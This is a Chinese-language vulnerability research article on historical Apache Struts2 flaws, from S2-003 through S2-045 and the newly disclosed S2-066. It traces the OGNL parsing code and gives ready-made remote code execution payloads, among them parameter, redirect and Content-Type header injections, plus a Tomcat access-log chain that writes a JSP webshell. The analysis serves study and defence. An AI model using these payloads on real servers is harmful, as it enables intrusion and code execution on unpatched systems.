作者:Sunflower@知道创宇404实验室
时间:2023年12月14日
为了初步掌握 Struts2,我复现了 Struts2 框架中的漏洞系列。尽管网络上存在许多详细分析的文章,但亲自动手编写更有助于深入理解其中的逻辑。对于希望快速了解 Struts2 漏洞系列的读者,可以参考本文,其中已经省略了大部分类似的漏洞分析。此外,在撰写本文的结尾时,正好爆出了 CVE-2023-50164(即 S2-066),该漏洞也在文章末尾进行了分析。
Struts 是一个开源的、用于构建企业级 Java Web 应用程序的 MVC (Model-View-Controller) 框架。它提供了一种组织和管理 Web 应用的方法,以及在应用程序的各个层次之间进行清晰划分的机制。Struts2框架大致处理流程如下:
Struts2 的配置文件是 struts.xml,它位于 WEB-INF/classes 目录下。struts.xml 文件主要用于配置 Action 和请求的对应关系,以及配置逻辑视图和物理视图的对应关系。
Action 配置用于配置 Action 的名称、类路径、方法名等信息。Action 配置的标签是 action。
<action name="hello" class="com.example.HelloAction" method="execute">
</action>
请求映射用于配置请求路径与 Action 的对应关系。请求映射的标签是 url-mapping。
<url-mapping pattern="/hello" />
视图配置用于配置请求处理完成后返回的页面。视图配置的标签是 result。
<result name="success" type="dispatcher">
<param name="location">success.jsp</param>
</result>
1、首先推荐使用官方showcase,选择对应漏洞版本,下载struts-x.x.x-apps.zip,解压后在IDEA中部署showcase的war包即可。例如:访问链接https://archive.apache.org/dist/struts/,找到对应版本,进行安装部署即可。
2、使用以下命令从GitHub将存储库克隆到本地环境:
git clone https://github.com/xhycccc/Struts2-Vuln-Demo.git
然后,使用IDEA打开项目并执行运行操作即可。
CVE-2008-6504
该漏洞主要原因是 Struts2 框架里 ParametersInterceptor 拦截器中的 Ognl 表达式解析器存在安全漏洞。这个漏洞允许恶意用户绕过 ParametersInterceptor 中内置的“#”使用保护,从而能够操纵服务器端上下文对象。
具体来说,当 ParametersInterceptor 拦截器处理请求时,它会使用 Ognl 表达式解析器来解析请求参数。Ognl 表达式是一种强大的表达式语言,可以访问和操作任意对象。
恶意用户可以通过构造恶意的 Ognl 表达式来绕过 ParametersInterceptor 中内置的“#”使用保护。
Struts 2.0.0 - Struts 2.1.8.1
下面通过梳理几个特性逐步来进行漏洞分析。
在com.opensymphony.xwork2.interceptor.ParametersInterceptor#acceptableName
中,对传入的name进行了判断,具体代码如下:
protected boolean acceptableName(String name) {
return name.indexOf(61) == -1 && name.indexOf(44) == -1 && name.indexOf(35) == -1 && name.indexOf(58) == -1 && !this.isExcluded(name);
}
编码 | ASCII |
---|---|
61 | = |
44 | , |
35 | # |
58 | : |
通过传入#context,会将表达式解析为ASTVarRef树类型,从而调用到ognl.OgnlContext#get
方法,当key值为context
时,即可获取到当前的上下文this
值,#context['xwork.MethodAccessor.denyMethodExecution']=false
可以操作对应的属性,如图2所示。
在compile中会调用关键函数Ognl.parseExpression
解析给定的OGNL表达式并返回一个表达式的树形表示,该表示可以被Ognl静态方法使用。
public static Object compile(String expression) throws OgnlException {
synchronized(expressions) {
Object o = expressions.get(expression);
if (o == null) {
o = Ognl.parseExpression(expression);
expressions.put(expression, o);
}
return o;
}
}
简单来说就是将对应表达式按照表现形式进行分类成不同的树,对不同的树会调用不同的函数进行处理。
同时,该函数也会将unicode编码解析,如图3(漏洞利用的关键之一在于使用Unicode编码来绕过前述的特殊符号过滤。)
漏洞的触发方式采用 ASTEval 的树形结构,具体表现为 "(x)(x)..." 的形式。下面简要描述将 context 的 xwork.MethodAccessor.denyMethodExecution
赋值为 false
的过程:
例如有一个payload:
(#context[’xwork.MethodAccessor.denyMethodExecution‘]=false)(test1)(test2)
令a为#context[’xwork.MethodAccessor.denyMethodExecution‘]=false
、b为test1
、c为test2
,首先将(a)(b)(c)判定为ASTEval
:
调用n.setValue(ognlContext, root, value),n即为(a)(b)(c)对应的树对象类型(ASTEval)
evaluateSetValueBody、setValueBody
取children[0]即(a)(b)的树类型.getValue、evaluateGetValueBody、getValueBody
取children[0]即a的树类型.getValue、evaluateGetValueBody、getValueBody
取到#context['xwork.MethodAccessor.denyMethodExecution']=false赋值给expr
取children[1]即test的树类型.getValue、evaluateGetValueBody、getValueBody、getProperty #取到test1值
node.getValue //node即为expr的树形式(ASTAssign).getValue ,expr此时为#context[’xwork.MethodAccessor.denyMethodExecution‘]=false
evaluateGetValueBody、getValueBody
取children[1]即false的树类型.getValue、evaluateGetValueBody、getValueBody #取到false值
取children[0]即#context["xwork.MethodAccessor.denyMethodExecution"]的树类型.setValue、evaluateSetValueBody、setValueBody
取children[0]即#context的树类型.getValue、evaluateGetValueBody、getValueBody //取到context对应值
取children[1]即["xwork.MethodAccessor.denyMethodExecution"]的树类型.setValue //这里同时传入value为false的值、evaluateSetValueBody、setValueBody、setProperty
取children[0]即"xwork.MethodAccessor.denyMethodExecution"的树类型.getValue、evaluateGetValueBody、getValueBody //取到xwork.MethodAccessor.denyMethodExecution
setProperty
...设置xwork.MethodAccessor.denyMethodExecution为false等操作
总体而言,该原理较易理解,但其具体步骤相对繁琐。强烈建议读者亲自尝试一遍,并可参考以下文章《浅析OGNL表达式求值》[1]进行辅助学习。
本质就是xwork的漏洞,使用到了OgnlUtil.setValue
,例如直接在低版本xwork环境下运行如下命令即可rce,图4所示。
OgnlContext ognlContext = new OgnlContext();
OgnlUtil.setValue("('@java.lang.Runtime@getRuntime().exec(\\'calc\\')')('sf1')('sf2')",ognlContext,null,"");
图5为Structs2的xwork中同样使用到了OgnlUtil.setValue
。
根据网上的PoC,我们可以了解到,需要将 context
的 xwork.MethodAccessor.denyMethodExecution
值设置为 false
。现在我们来分析一下原因:在 Struts2 启动时,系统默认将 Object.class
的方法访问器设置为 XWorkMethodAccessor
对象,具体如图6所示。
在后续的 Struts2 执行过程中,系统会根据类名查找相应的方法访问器。如果未能找到与 Runtime 类匹配的方法访问器,系统将调用其 getSuperclass
方法,其超类为 Object.class
。随后,系统将 Object
的方法访问器(XWorkMethodAccessor
)赋予 Runtime 对象,如图7所示。
在整个过程中,最终调用了XWorkMethodAccessor
的 callStaticMethod
方法,以获取 Runtime 对象,详见图8。
在该方法内部,通过判断 xwork.MethodAccessor.denyMethodExecution
的值是否为 false
,确定是否调用后续的 callStaticMethod
方法,具体可见图9。
回过头再看本地环境,发现 Object 并没有将初始化 Object.class
的方法访问器设置为 XWorkMethodAccessor
对象,而是默认为 ObjectMethodAccessor
。因此,无需检查 xwork.MethodAccessor.denyMethodExecution
的值,即可直接调用,导致了远程代码执行(RCE)漏洞,详见图10。
总结一下上述内容:在Struts2中,如果传入的表达式类型为ASTStaticMethod
,将调用OgnlRuntime的callStaticMethod
方法,而由于struts2中的xwork定义了Object.class
的方法访问器为XWorkMethodAccessor
对象,所以导致流程进入XWorkMethodAccessor.callStaticMethod
。本地的OgnlUtil.setValue
并没有指定Object.class
的方法访问器,因此默认为ObjectMethodAccessor
,无需判断xwork.MethodAccessor.denyMethodExecution
的值,直接调用可导致RCE。
基于上述信息,Struts2 中的漏洞利用PoC可总结如下:
(%27\u0023context[\%27xwork.MethodAccessor.denyMethodExecution\%27]\u003dfalse%27)(sf1)(sf2)&(%27\u0023su26\[email protected]@getRuntime().exec(\%27calc\%27)%27)(sf1)(sf2)
上述文本中提到,只有当调用的表达式类型为 ASTStaticMethod
时,才会触发 OgnlRuntime
的 callStaticMethod
方法。通过不传入 ASTStaticMethod
类型的表达式,我们可以绕过对 xwork.MethodAccessor.denyMethodExecution
值的判断。
在创建对象new Object时,实质上是调用 ASTCtor
类型的结构表达式。这引发了一个问题:是否存在一种危险的 Object
对象,使得调用 "new Object()" 可以实现远程代码执行(RCE)?理论上,这是可行的。
在 Struts2 中,可以自定义一个类来模拟一个危险的类文件,如下所示:
package com.test.self;
import java.io.IOException;
public class Student {
public Student(String cmd) throws IOException {
Runtime.getRuntime().exec(cmd);
}
}
输入如下payload即可弹出计算器,绕过设置xwork.MethodAccessor.denyMethodExecution
限制,如图11。
(new com.test.self.Student(new java.lang.String("calc")))(sf1)(sf2)
在实际情境中,若在 Struts2 中整合了 Spring 框架,便可以通过利用 new ClassPathXmlApplicationContext
和 FileSystemXmlApplicationContext
远程加载配置,从而实现上述的 RCE 效果。在此仅提供思路,读者如有兴趣可深入探索。
CVE-2010-1870
该漏洞是对S2-003的补丁绕过,将 “_memberAccess.excludeProperties”
属性的值设置为空集合,从而允许访问所有属性。
Struts 2.0.0 - Struts 2.1.8.1
S005漏洞实质上是对S003的绕过。在 callAppropriateMethod
处设置了断点,调试一下新的执行流程,详见图12。
PoC执行失败的主要原因是位于以下位置的 context.getMemberAccess().isAccessible
。
public static final boolean isMethodAccessible(OgnlContext context, Object target, Method method, String propertyName) {
return method == null ? false : context.getMemberAccess().isAccessible(context, target, method, propertyName);
}
此处在修复补丁中继承DefaultMemberAccess
并重写了isAccessible方法,如图13:
定义了SecurityMemberAccess
为新的memberAccess
,如图14。
所以后续判断交给SecurityMemberAccess
的isAccessible
方法进行处理(默认为DefaultMemberAccess
),如果传入的是ASTStaticMethod
类型表达式,调用到callStaticMethod
方法paramName
默认为null
,会引起空指针造成中断(PoC失败的主要问题),如图15:
为了继续执行,需要将 this.excludeProperties
设置为空,以防止其进入 if
结构。那么如何修改 this.excludeProperties
的值呢?
在OgnlContext.class
中,ognl.OgnlContext#get
可根据名称来调用对应的对象(此处和调用#context同理),通过_memberAccess
可以获取对应的this.getMemberAccess()
对象,如图16。
所以可以构造如下payload
来修改context
中的memberAccess
值,其他和S003内容不变。
#[email protected]@EMPTY_SET
原理分析,不考虑其他特殊情况,最终可用的 payload 如下:
(%27\u0023_memberAccess.excludeProperties\[email protected]@EMPTY_SET%27)(sf1)(sf2)&(%27\u0023context[\%27xwork.MethodAccessor.denyMethodExecution\%27]\u003dfalse%27)(sf1)(sf2)&(%27\u0023su26\[email protected]@getRuntime().exec(\%27calc\%27)%27)(sf1)(sf2)
CVE-2013-1966
当 Struts2 处理使用 includeParams="all"
的标签时,它会将所有请求参数解析为 OGNL 表达式。
Struts 2.0.0 - Struts 2.3.14.1
S013和S001大多类似,S001在doEndTag
中触发,而s013在doStartTag
中触发,同理漏洞不再做重复分析。
在jsp中定义如下内容:
<p><s:a id="link1" action="link" includeParams="all">"s:a" tag</s:a></p>
<p><s:url id="link2" action="link" includeParams="all">"s:url" tag</s:url></p>
在解析jsp文件时,会调用到ComponentTagSupport
中的doStartTag
,doStartTag
又相继调用后续逻辑。
当配置includeParams
为all
时,会调用到this.includeGetParameters
,从而进入到后面OGNL解析中,如图17。
在Struts2更新的某个版本中,translateVariables
开始支持{}、%{}的形式去构造payload,如图18。
跟一遍translateVariables
的调用,接下来的逻辑将再次涉及到常见的 getValue
阶段,如图19所示。
这里的调用栈为:
getValue:366, OgnlValueStack (com.opensymphony.xwork2.ognl)
tryFindValue:354, OgnlValueStack (com.opensymphony.xwork2.ognl)
tryFindValueWhenExpressionIsNotNull:329, OgnlValueStack (com.opensymphony.xwork2.ognl)
findValue:313, OgnlValueStack (com.opensymphony.xwork2.ognl)
findValue:374, OgnlValueStack (com.opensymphony.xwork2.ognl)
evaluate:161, TextParseUtil$1 (com.opensymphony.xwork2.util)
evaluate:49, OgnlTextParser (com.opensymphony.xwork2.util)
translateVariables:171, TextParseUtil (com.opensymphony.xwork2.util)
translateVariables:130, TextParseUtil (com.opensymphony.xwork2.util)
translateVariables:52, TextParseUtil (com.opensymphony.xwork2.util)
总结:在 translateVariables
函数中,如果传入的是 OGNL 表达式,例如 ${}
或 %{}
,将触发类似于 S2-003 的逻辑解析,可能导致远程代码执行(RCE)漏洞。后续分析不再跟进translateVariables。
由于上面提到,支持%{}和${}两种格式,所以如下两种payload都可用,S2-014直接用第二个payload即可:
%{\u0023_memberAccess[\u0027allowStaticMethodAccess\u0027]\u003dtrue,@java.lang.Runtime@getRuntime().exec(\u0027calc\u0027)}
或者
${\u0023_memberAccess[\u0027allowStaticMethodAccess\u0027]\u003dtrue,@java.lang.Runtime@getRuntime().exec(\u0027calc\u0027)}
最后贴一下调用链:
translateVariable:287, UrlHelper (org.apache.struts2.views.util)
translateAndEncode:263, UrlHelper (org.apache.struts2.views.util)
buildParameterSubstring:250, UrlHelper (org.apache.struts2.views.util)
buildParametersString:229, UrlHelper (org.apache.struts2.views.util)
buildParametersString:194, UrlHelper (org.apache.struts2.views.util)
buildUrl:172, UrlHelper (org.apache.struts2.views.util)
determineActionURL:410, Component (org.apache.struts2.components)
determineActionURL:68, ComponentUrlProvider (org.apache.struts2.components)
renderUrl:74, ServletUrlRenderer (org.apache.struts2.components)
evaluateExtraParams:107, Anchor (org.apache.struts2.components)
evaluateParams:856, UIBean (org.apache.struts2.components)
start:57, ClosingUIBean (org.apache.struts2.components)
start:132, Anchor (org.apache.struts2.components)
doStartTag:53, ComponentTagSupport (org.apache.struts2.views.jsp)
_jspx_meth_s_005fa_005f0:15, index_jsp (org.apache.jsp)
CVE-2013-2251
在 Struts2 框架中,DefaultActionMapper
类的 actionMapping
方法用于解析请求参数中的导航信息。该方法首先会检查请求参数是否以 "action:"、"redirect:" 或 "redirectAction:" 为前缀。如果是,则该方法将会解析请求参数中的导航目标表达式。
该漏洞是由于 DefaultActionMapper
类的 actionMapping
方法在解析请求参数时,没有对请求参数中的恶意表达式进行过滤。因此,恶意用户可以通过构造恶意的请求参数来执行任意代码。
Struts 2.0.0 - Struts 2.3.15
该漏洞涉及两个点:
1、当重定向时,会将传递的重定向地址进行二次解析(S2-012的漏洞主要原因,同理漏洞故只分析S2-016)
2、当使用action:等前缀时,会导致执行对应的execuite方法
在 StrutsPrepareAndExecuteFilter#doFilter
方法中调用,如下图所示(见图20)。
调用DefaultActionMapper#getMapping
,如图21:
随后调用DefaultActionMapper#handleSpecialParameters
,如图22:
在DefaultActionMapper#handleSpecialParameters
中通过this.prefixTrie.get(key)
来获取对应的parameterAction
值,如图23。
而this.prefixTrie
的值定义如下,所以当key值有不同的prefix,就会获取到不同的ParameterAction
对象去执行execute()
。
public DefaultActionMapper() {
this.prefixTrie = new PrefixTrie() {
{
this.put("method:", new ParameterAction() {
public void execute(String key, ActionMapping mapping) {
if (DefaultActionMapper.this.allowDynamicMethodCalls) {
mapping.setMethod(key.substring("method:".length()));
}
}
});
this.put("action:", new ParameterAction() {
public void execute(String key, ActionMapping mapping) {
String name = key.substring("action:".length());
if (DefaultActionMapper.this.allowDynamicMethodCalls) {
int bang = name.indexOf(33);
if (bang != -1) {
String method = name.substring(bang + 1);
mapping.setMethod(method);
name = name.substring(0, bang);
}
}
mapping.setName(name);
}
});
this.put("redirect:", new ParameterAction() {
public void execute(String key, ActionMapping mapping) {
ServletRedirectResult redirect = new ServletRedirectResult();
DefaultActionMapper.this.container.inject(redirect);
redirect.setLocation(key.substring("redirect:".length()));
mapping.setResult(redirect);
}
});
this.put("redirectAction:", new ParameterAction() {
public void execute(String key, ActionMapping mapping) {
String location = key.substring("redirectAction:".length());
ServletRedirectResult redirect = new ServletRedirectResult();
DefaultActionMapper.this.container.inject(redirect);
String extension = DefaultActionMapper.this.getDefaultExtension();
if (extension != null && extension.length() > 0) {
location = location + "." + extension;
}
redirect.setLocation(location);
mapping.setResult(redirect);
}
});
}
};
}
s016的漏洞在redirect:``、redirectAction:
中触发,举例当key前缀为redirectAction
时,会将redirectAction
设置为location
,如图24。
location的值变为${new java.lang.ProcessBuilder(new java.lang.String[]{"calc"}).start()}.action
在后续中StrutsResultSupport#execute
调用到如下代码,将this.location
传入conditionalParse
:
public void execute(ActionInvocation invocation) throws Exception {
this.lastFinalLocation = this.conditionalParse(this.location, invocation);
this.doExecute(this.lastFinalLocation, invocation);
}
接着conditionalParse调用了TextParseUtil.translateVariables
导致后续的代码执行,如图25。实质上在S2的众多历史洞中都会调用到TextParseUtil.translateVariable
造成RCE,TextParseUtil.translateVariables
的后续逻辑也和s003等的漏洞原理相同。
最终payload为:
redirectAction:${new%20java.lang.ProcessBuilder(new%20java.lang.String[]{"calc"}).start()}
redirect:${new%20java.lang.ProcessBuilder(new%20java.lang.String[]{"calc"}).start()}
CVE-2014-0094
该漏洞是由于 Struts 2 框架中 ParametersInterceptor 拦截器的 class 参数存在安全漏洞导致的。该漏洞允许恶意用户通过构造恶意的 class 参数来操纵类加载器,从而执行任意代码。
具体来说,当 ParametersInterceptor 拦截器处理请求时,它会检查请求参数中是否存在名为“class”的参数。如果存在,则拦截器会将该参数解析为一个类的名称。
Struts 2.0.0 - Struts 2.3.16.1
漏洞的触发机制与之前分析的 S2-003 和 S2-0005 相同,实际上可以看作是对 S2-003、S2-005 的另一种利用方式。下面进行漏洞效果的演示:
首先,访问以下URL,即可触发将 docBase
路径修改为 C:/Users/Public/Downloads
的操作。
这时候可以直接通过Url访问到C:/Users/Public/Downloads的资源了,如图26:
分析一下代码逻辑,首先传递class.classLoader.resources.dirContext.docBase=C:/Users/Public/Downloads
前面部分逻辑与s003相同,直接进入ognl.OgnlRuntime#getDeclaredMethods
打下断点。
分析如下代码,baseName就是传递的class值,在ms中寻找符合以Class结尾的方法名,并且在后续再次判断以set、get或者is开头。所以当传递class后,这里getClass符合,于是就得到了getClass()
,如图27。
接下来的同理,当传入classloader
继续判断是否以ClassLoader
结尾,并且在后续再次判断以set、get或者is开头,最终得到getClassLoader
,后续遍历步骤同理省略。
所以理一下,传递class.classLoad er.resources.dirContext.docBase
实质是传递了getClass().getClassLoader().getResource().getDirContext().setDocBase()
。
可以使用yiran4827编写的脚本[2]运行符合set、get、is开头的调用链。
<%@ page language="java" import="java.lang.reflect.*" %>
<%!public void processClass(Object instance, javax.servlet.jsp.JspWriter out, java.util.HashSet set, String poc){
try {
Class<?> c = instance.getClass();
set.add(instance);
Method[] allMethods = c.getMethods();
for (Method m : allMethods) {
if (!m.getName().startsWith("set")) {
continue;
}
if (!m.toGenericString().startsWith("public")) {
continue;
}
Class<?>[] pType = m.getParameterTypes();
if(pType.length!=1) continue;
if(pType[0].getName().equals("java.lang.String")||
pType[0].getName().equals("boolean")||
pType[0].getName().equals("int")){
String fieldName = m.getName().substring(3,4).toLowerCase()+m.getName().substring(4);
out.print(poc+"."+fieldName + "<br>");
}
}
for (Method m : allMethods) {
if (!m.getName().startsWith("get")) {
continue;
}
if (!m.toGenericString().startsWith("public")) {
continue;
}
Class<?>[] pType = m.getParameterTypes();
if(pType.length!=0) continue;
if(m.getReturnType() == Void.TYPE) continue;
Object o = m.invoke(instance);
if(o!=null)
{
if(set.contains(o)) continue;
processClass(o,out, set, poc+"."+m.getName().substring(3,4).toLowerCase()+m.getName().substring(4));
}
}
} catch (java.io.IOException x) {
x.printStackTrace();
} catch (java.lang.IllegalAccessException x) {
x.printStackTrace();
} catch (java.lang.reflect.InvocationTargetException x) {
x.printStackTrace();
}
}%>
<%
java.util.HashSet set = new java.util.HashSet<Object>();
String poc = "class.classLoader";
example.HelloWorld action = new example.HelloWorld();
processClass(action.getClass().getClassLoader(),out,set,poc);
%>
最终在结果中筛选过滤出如下方法,可以通过控制tomcat上生成access log的文件名、文件位置、文件后缀以及日志日期(日期不同则生成新文件)、最后再访问一条带shell的url链接,即可将shell内容写进文件:
class.classLoader.resources.context.parent.pipeline.first.directory =webapps/ROOT
class.classLoader.resources.context.parent.pipeline.first.prefix =shell
class.classLoader.resources.context.parent.pipeline.first.suffix = .jsp
class.classLoader.resources.context.parent.pipeline.first.fileDateFormat =1
<%Runtime.getRuntime.exec("calc");%>
在不同版本的 Tomcat 中,可能不存在该利用链。笔者在 Tomcat 8.0.20 上成功复现了如上利用链。
CVE-2017-5638
该漏洞是由于 Struts2 框架中 Jakarta Multipart parser
在处理文件上传时存在安全漏洞导致的。该漏洞允许恶意用户通过构造恶意的 Content-Type 头来执行任意代码。
当传入非法的Content-type
会引发JakartaMultiPartRequest
类报错,并调用buildErrorMessage()
方法处理错误contentType信息。该函数内部使用到了TextParseUtil.translateVariables
去处理了报错信息,造成了OGNL表达式解析。
Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
漏洞执行流程:
parse——>processUpload()——>...——>getItemIterator——>new FileItemIteratorImpl,FileItemIteratorImpl构造方法代码如下。当contentType值不以multipart/开头,则会触发报错,并将contentType内容拼接进去:
FileItemIteratorImpl(RequestContext ctx) throws FileUploadException, IOException {
if (ctx == null) {
throw new NullPointerException("ctx parameter");
} else {
String contentType = ctx.getContentType();
if (null != contentType && contentType.toLowerCase(Locale.ENGLISH).startsWith("multipart/")) {...} else {
throw new InvalidContentTypeException(String.format("the request doesn't contain a %s or %s stream, content type header is %s", "multipart/form-data", "multipart/mixed", contentType));
}
}
}
报错后进入catch语句调用——>buildErrorMessage(传递进了捕获的contentType异常)——>findText——>getDefaultMessage,getDefaultMessage代码如图28:
上文中提到过TextParseUtil.translateVariables
会造成OGNL解析,不再赘述,这里可用的payload为:
Content-Type: -multipart/form-data-%{#[email protected]@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')}
在2.3.29版本后,无法使用#_memberAccess
获取对应的this.getMemberAccess()
对象,意味着不能使用该方法设置SecurityMemberAccess
对象了。
在ognl.Ognl#addDefaultContext
中,将memberAccess(SecurityMemberAccess)
的对象使用setMemberAccess
赋值给了result(OgnlContext)
时,它们实际上是引用了相同的对象。这样的操作是按引用传递的,即两个变量引用的是同一个对象,如图29。
即:修改OgnlContext._memberAccess
会影响到OgnlValueStack.securityMemberAccess
使用等号直接将一个对象赋给另一个对象,同样是按照引用传递的方式,它们也会引用相同的对象,如图30。
即:修改OgnlUtil.excludedClasses
会影响到securityMemberAccess.excludedClasses
。
com.opensymphony.xwork2.inject.Container
接口的对象,负责管理和提供应用程序中各个组件(如 Action 类、拦截器、结果类型等)的依赖注入。
可以使用#context['com.opensymphony.xwork2.ActionContext.container']
获取到Container对象。
例如获取容器并使用容器获取OgnlUtil实例:
#container = #context['com.opensymphony.xwork2.ActionContext.container']
#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)
在官方的防护中又加了一种防护策略,检测是不是ASTSequence即exp1,exp2
或 ASTEval即(exp1)(exp2)
树类型。
private void checkEnableEvalExpression(Object tree, Map<String, Object> context) throws OgnlException {
if (!this.enableEvalExpression && this.isEvalExpression(tree, context)) {
throw new OgnlException("Eval expressions has been disabled!");
}
}
网上绕过思路,使用(exp1).(exp2)即ASTChain
总结以上几点我们可以通过如下操作:
1、通过setMemberAcces将context设置为@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS
:
#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)
2、但当调用setMemberAccess又会被SecurityMemberAccess
的this.excludedPackageNames
和this.excludedClasses
黑名单拦截,所以我们需要清空这两个属性,如图31。
3、由上诉可知this.excludedPackageNames
和this.excludedClasses
可以通过OgnlUtil来操作,所以我们可以利用Container获取OgnlUtil实例并且清空SecurityMemberAccess
。
所以最终的payload为:
Content-Type: -multipart/form-data-%{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('calc'))}
CVE-2023-50164
通过控制文件上传参数首字母大写,Struts2会自动匹配调用其对应的set方法,并且让后台自动生成的参数UploadFileName的首写字母为大写,又因为Treemap的排序特性,大写字母排序比小写字母在更前面,导致系统生成的UploadFileName优先赋值后,攻击者传入的uploadFileName(小写开头)覆盖了系统设置的文件名称,最终导致了目录穿越。
Struts 2.0.0 - Struts 2.3.37 , Struts 2.5.0 - Struts 2.5.32, Struts 6.0.0 - Struts 6.3.0
在我快完成 Struts2 系列文章的次日,便发现了 Struts2 框架又出了一个新漏洞,即 S2-066。通过对相关补丁和官方公告进行分析和复现:
首先看一下补丁对比[3],根据官方描述和补丁对比,漏洞发生在文件上传部分,且补充了remove功能,使其能够忽略大小写并移除重复的键值,如图32:
并且测试代码中包含大小写的参数的构造,如图33:
通过debug上传相关的处理器进行一步步调试,发现如下几个问题:
1、在debug过程中,发现在处理参数时,会多出uploadFileName、uploadContentType,经过调试发现如下信息,如图34:
首先注意到这几个参数同时出现在map中,而uploads参数是可控的。这表明可以直接构造传递uploadsFileName
和uploadsContentType
来控制这两个值。然而,经过实质性的测试后发现,这并未改变文件名。
2、修改uploads参数为uPloads、upLoads等非首字母大写的情况会上传不了文件,报错No File selected!
。
3、添加__multiselect_
等字段会上传成功,并且能够自定义文件名,但是找不到上传过去了的文件,如图35。(经过调试,代码去除__multiselect_
的前缀后将uploads的value设置为一个空值,意味着实质上没有任何文件被上传)
4、根据上面已经知道的信息,再加上仔细反复确认公告和补丁,在不断的手动fuzz最终成功构造出了PoC。即大写首字母Uploads。
在没有 PoC的情况下,理解其中的原理确实比较困难。通过得到的 PoC 再次进入二次分析:
在ognl.OgnlRuntime#getDeclaredMethods
中,如果传入的值以baseName结尾,则会自动匹配当前类中的set、get、is方法,如图36。
例如我的文件上传Upload.java中有如下代码,传入Uploads则会自动获取对应的setUploads。
public void setUploads(File[] uploads) {
this.uploads = uploads;
}
在使用ParametersInterceptor
中设置传递的参数值时,默认采用了Treemap进行存储,对于字符串来说,TreeMap顺序是按照 Unicode 码点顺序进行比较的,即U的Unicode码值小于u,U会排在u前面。
所以当传递Uploads到服务器时,服务器自动生成的名称为UploadsFileName
、此时我们传递了一个uploadFileName
,又因为大写顺序在前的缘故,首先调用了服务器生成的UploadsFileName
,将文件名设置为upload.png
,再次调用了我们自己传递的uploadFileName
,将文件名设置为了我们自定义的值,最终造成了目录穿越,如图37。
分享一下我学完了 Struts2 历史漏洞的经验:
由于 Struts2 的大部分漏洞都涉及到 OGNL 表达式被解析成各种AST树,最终导致远程代码执行(RCE),许多绕过思路也与AST解析后续逻辑密切相关。因此,建议初学者仔细研究甚至手动调试一下AST树后续解析逻辑,特别是像S2-003、S2-005、S2-020、S2-045等漏洞。通过深入分析这些漏洞的过程,当再看其他历史洞时,基本上能够轻松理解其中的逻辑。所以我写下这篇paper时部分漏洞简单概括或者是直接省略了,因为它们的核心原理在这些关键漏洞中已经涵盖。
另外使用codeql进行污点分析挖到S2-057,虽然还是同理漏洞,仅是入口点不同,但是用来学习codeql也是很值得看一下[4]。
视频提供了对Pocsuite的使用方法、安装方法、以及对Struts2-045进行漏洞检测的演示[5]。
S2-045: Struts 2 远程代码执行漏洞(CVE-2017-5638)演示视频
为了方便学习和研究,已将 Pocsuite Struts2 系列漏洞 exp 整理至 GitHub 仓库 [6],读者可自行获取。
免责声明:
本仓库所包含的 Struts2 历史漏洞信息仅供学习和研究目的。这些漏洞早已存在并在互联网上公开,旨在帮助深入研究和提升对 Web 应用安全性的理解。任何形式的非法攻击行为均严格禁止。
我们不对任何人因使用本仓库的信息而导致的非法活动承担责任。用户应遵守适用的法律法规,并在进行安全研究时恪守道德和法律规定。请谨慎使用这些漏洞信息,并确保在任何测试和研究活动中遵循法律和道德准则。
[1] 浅析OGNL表达式求值
[2] Struts2 S2-020在Tomcat 8下的命令执行分析
[3] S2-066 补丁对比
[4] CVE-2018-11776: How to find 5 RCEs in Apache Struts with CodeQL
[5] 演示视频
[6] GitHub 仓库
[8] Struts2 系列漏洞调试总结
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/3086/